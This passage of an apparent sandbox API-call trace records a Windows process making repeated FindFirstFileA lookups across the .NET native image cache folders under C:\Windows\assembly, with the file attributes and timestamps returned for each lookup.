dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.992] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe30d480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe30d480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.000] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe3335e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3335e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.005] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe3335e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3335e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.012] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3335e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3335e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.018] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe359740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe359740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.025] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe359740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe359740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.032] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe37f8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe37f8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.038] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe37f8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe37f8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3a5a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3a5a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.053] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ada410, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3a5a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3a5a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.057] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1faef38d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe3a5a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3a5a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.062] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b00570, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3cbb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3cbb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.067] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafbd9d0b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3cbb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3cbb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.072] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3cbb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3cbb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.079] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3f1cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3f1cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.085] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3f1cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe3f1cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.091] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe417e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe417e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.098] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe417e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe417e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.104] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe417e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe417e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.111] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe43df80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe43df80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.118] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe43df80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe43df80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.125] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4640e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4640e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.131] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4640e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4640e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.138] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe48a240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe48a240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.143] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe48a240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe48a240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.149] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe48a240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe48a240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.154] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4b03a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4b03a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.159] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4b03a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4b03a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.164] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4b03a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4b03a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.179] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe4d6500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4d6500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.184] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe4fc660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4fc660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.189] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4fc660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4fc660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.195] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe4fc660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe4fc660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.231] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe548920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe548920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.238] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe56ea80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe56ea80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.245] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe56ea80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe56ea80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.252] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe594be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe594be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.261] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe594be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe594be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.269] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5bad40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe5bad40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.277] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5bad40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe5bad40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9cf8f53, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5e0ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, 